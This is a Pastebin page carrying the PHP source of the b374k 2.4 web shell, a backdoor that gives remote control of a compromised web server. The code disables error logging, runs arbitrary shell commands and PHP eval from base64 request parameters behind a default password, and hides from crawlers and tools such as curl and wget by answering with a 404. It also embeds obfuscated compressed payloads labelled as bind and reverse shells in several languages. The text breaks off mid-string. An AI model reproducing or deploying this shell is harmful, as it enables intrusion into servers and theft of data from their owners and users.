RieqyNS13

b374k 2.4

May 25th, 2013
7,483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 101.17 KB | None | 0 0
  1. <?php
  2. /*
  3.     b374k 2.4
  4.     Jayalah Indonesiaku
  5.     (c) 2013
  6.     http://code.google.com/p/b374k-shell
  7.  
  8. */
  9.  
  10. error_reporting(0);
  11. @set_time_limit(0);
  12. @ini_set('display_errors','0');
  13. @ini_set('html_errors','0');
  14. @ini_set('log_errors','0');
  15. @clearstatcache();
  16.  
  17. $s_name = "b374k"; // shell name
  18. $s_ver = "2.4"; // shell ver
  19. $s_title = $s_name." ".$s_ver; // shell title
  20. $s_pass = "0de664ecd2be02cdd54234a0d1229b43"; // shell password, fill with password in md5 format to protect shell, default : b374k
  21. $s_login_time = 3600 * 24 * 7; // cookie time (login)
  22.  
  23. $s_auth = false; // login status
  24. if(strlen(trim($s_pass))>0){
  25.     if(isset($_COOKIE['b374k'])){
  26.         if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
  27.     }
  28.     if(isset($_REQUEST['login'])){
  29.         $login = strtolower(md5(trim($_REQUEST['login'])));
  30.         if(strtolower(trim($s_pass)) == $login){
  31.             setcookie("b374k",$login,time() + $s_login_time);
  32.             $s_auth = true;
  33.         }
  34.     }
  35.     if(isset($_REQUEST['logout'])){
  36.         $reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
  37.         foreach($_COOKIE as $k=>$v){
  38.             setcookie($k,"",time() - $s_login_time);
  39.         }
  40.         $s_auth = false;
  41.         if(!empty($reload)) header("Location: ".$reload);
  42.     }
  43. }
  44. else $s_auth = true;
  45.  
  46. // This is a feature where you can control this script from another apps/scripts
  47. // you need to supply password (in md5 format) to access this
  48. // this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43)
  49. // give the code/command you want to execute in base64 format
  50. // this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
  51. // example :
  52. //      http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE=
  53. // next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
  54. //      http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw==
  55. // recommended ways is using POST DATA
  56. // note that it will not works if shell password is empty ($s_pass);
  57. // better see code below
  58. if(!empty($_REQUEST['s_pass'])){
  59.     if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){
  60.         if(isset($_REQUEST['cmd'])){
  61.             $cmd = base64_decode($_REQUEST['cmd']);
  62.             echo exe($cmd);
  63.         }
  64.         elseif(isset($_REQUEST['eval'])){
  65.             $code = base64_decode($_REQUEST['eval']);
  66.             ob_start();
  67.             eval($code);
  68.             $res = ob_get_contents();
  69.             ob_end_clean();
  70.             echo $res;
  71.         }
  72.         else echo $s_title;
  73.     }
  74.     die();
  75. }
  76.  
  77. // block search engine bot
  78. if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  79.     header("HTTP/1.0 404 Not Found");
  80.     header("Status: 404 Not Found");
  81.     die();
  82. }
  83. elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  84.     header("HTTP/1.0 404 Not Found");
  85.     header("Status: 404 Not Found");
  86.     die();
  87. }
  88.  
  89. // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php this was used with bind and reverse shell
  90. // use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
  91. $rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
  92. $rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
  93. $rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
  94. $rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
  95. $rs_win = "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";
  96. $rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc=";
  97. $favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
  98. $style = "rVbbjpswEH3vVyBFldoKEBCa3YX3fetjP8CACVbBRmboJov493rAEHNJVpVWfkEwnsuZM2f40eWCg5OTipXX6HfScmitX4ILu6GS5X0ismuXkPTPWYqWZ9HB87x4uNKwdxr5QX2JU1EKGR3yPB+/vFF2LiAKPa8vZJcImVEZ+fXFakTJMusQBEFPOn0rTJ+PJI+BXsDJaCokASZ4xAWnPYkK8ZfKyfT19bWvJe1qkmWMnyPPeq4vfS5k1WWsqUtyjRgvmboIJCmpBYVdd2krG3U5ozlpS+gPFWF8UZDv+7FTiXdnTNSRJGNtE/meqmzn1RvLoFCP3td4ykNhMGRyKChR5t1QCynZmUclzSGuiDwzHnnzBW8ytSDrHnwt/O4GdYDRFbbJHwYOSMIbrDySAgjQb45/dI9PGT1/H4t5ZPAwokVsl15qBTgtWQNjB6y5XarJCkPK2w2Gk1cL4QgRDkkbBXn3H+BuuaLpgV11ipFX/gktV9F1eoSQWyIDP+YiQ90lF0tlPBeamQ72aCekdnMyXGBl6BYzGP1AUjYWyE6nFqggscILWEpKTYGKZVlJe/dMrgpag846jjkyT2pkBpNP6XNJAVR9TU1SnX3vYusqtmhe8IIn/ngedxyupeBT8t4hTLjhC77ZEHnu8Vimlg+z2OMJz/08P0pz/t67jNctvNtuLUVVg+3CBYikZDMYmtTeVEAiAERlMu74gueBrBoE7HW8bsObKb6hUJqWxycPL44JJy10q0iLjF/wrNiwq+G3QcNpn0Sj2xFIbIs3Wygx2VX7+bsSxbtQYVxTDPYmDkQdL3fEzXWxxm1RPHqfbp4mLs135Q6f/Gc8vdvQSu3OK5s30TAwO0rrovRYw4IyoVqS+/RIC7XTAdTZ8fPYYHRd2KrKbY5boRnNH4OtrYrA3Gop5UoHTL7+XLMoxbMWjNNmio032/A79S4U3ffmouf9lKapUlBG33K2C/A+o4yVMXB5cvAhFXdgNolpLo6F41RBp0Ccf2V8f1auayIun7Iz7+MWLoJhc+/3IAxXWrDltKWHjAtg+YJ5+op2gL+O2/av51H7Py7orTO2gjnOreUecjkXApa/XhI9mhxFsHY2mPZijv5qw9sjTurJINRIPFuPhz89yIUA9F/+AQ==";
  99. // http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable
  100. $sortable_js = "vVhtb9s4Ev4eIP/B0XUNEZZlO+19ONPcYNMXbHHd7gFb3H5w3IKiaFmJLLkSnWzO8X+/GZJ680vW7eG2QGO+zTPDhxzOjO553lmwi6F3yy5G9PysyHKleJBItpHj+ToVKs5Sl2x4Hq2XMlWFL3iSSOnHT0/u/iBbeHfdrkgkz9+nSub3PHHviBdmQi/0RS65km8Tib1utxqPpLKDxfXjJx595EvZ7bqVNT5ng8/uTXgTXpHpzeDG7892erpLrvTfFwMvcZ/Fdh0N6xCv2iMnm/7ognFfJLwocJFfwDbEwh3cBGgICtwEA9Lt1mbdgdiWELL17sZNpCEDoCOKF5KHDvETmUZqAZuEAXaYoGqxB78+X61kGr5exEnocj/PHorpcEY87sdpIXN1LedZLhENhuZxXii9lBCarpME7VE/AxgotK0/sxDR4UbEc3dUSWu11nSyQR6CTKlsicNsOqNggnsPVypgQxpMeHM5DXo9YhjWtgezo0wbTMO121YybXct9qwGJRQMbi8im4qBd1mmkPJ5dpzyOaxxkNcm4TAKTOL2zNYOmqG3CCtbkjv2o4WhTKSSnfbMFlmHRotqOANfyCQpGqrtuqZO2PKFHW7zuuSqplVf2S9phm0kl2zcJUyzUyXdKe//Z9j/x6xHtHi3e37mZvcyz+NQMoSajmB3DbiVHu12ndI3HMbU40pm804FO3Ww+cXplUizq2fmxrXv3brcC1rqMhY0uwKpvM7CWCKPFO+laGzWk6wG+8oajx3QiRdVLeLi6B01lGBLhpqNGiuXYG2Brojy6LxNnF3YXK4SLsDtdlEdb2/oi4V2LGgul8CMuWcH3rvrx/fhLu78IYxT8G7iYQ/woHfUF4oVT53mSj8O2Q6gmXA8EzvKZWkq858//fKBOd00KFa0+7c/Lv9+/Yo6xvBdBzFihMqkkJ1vpb9k5f9zDBXn+8fxPxyDZc0egzmUU47BrDxwDPZcW4sOH8L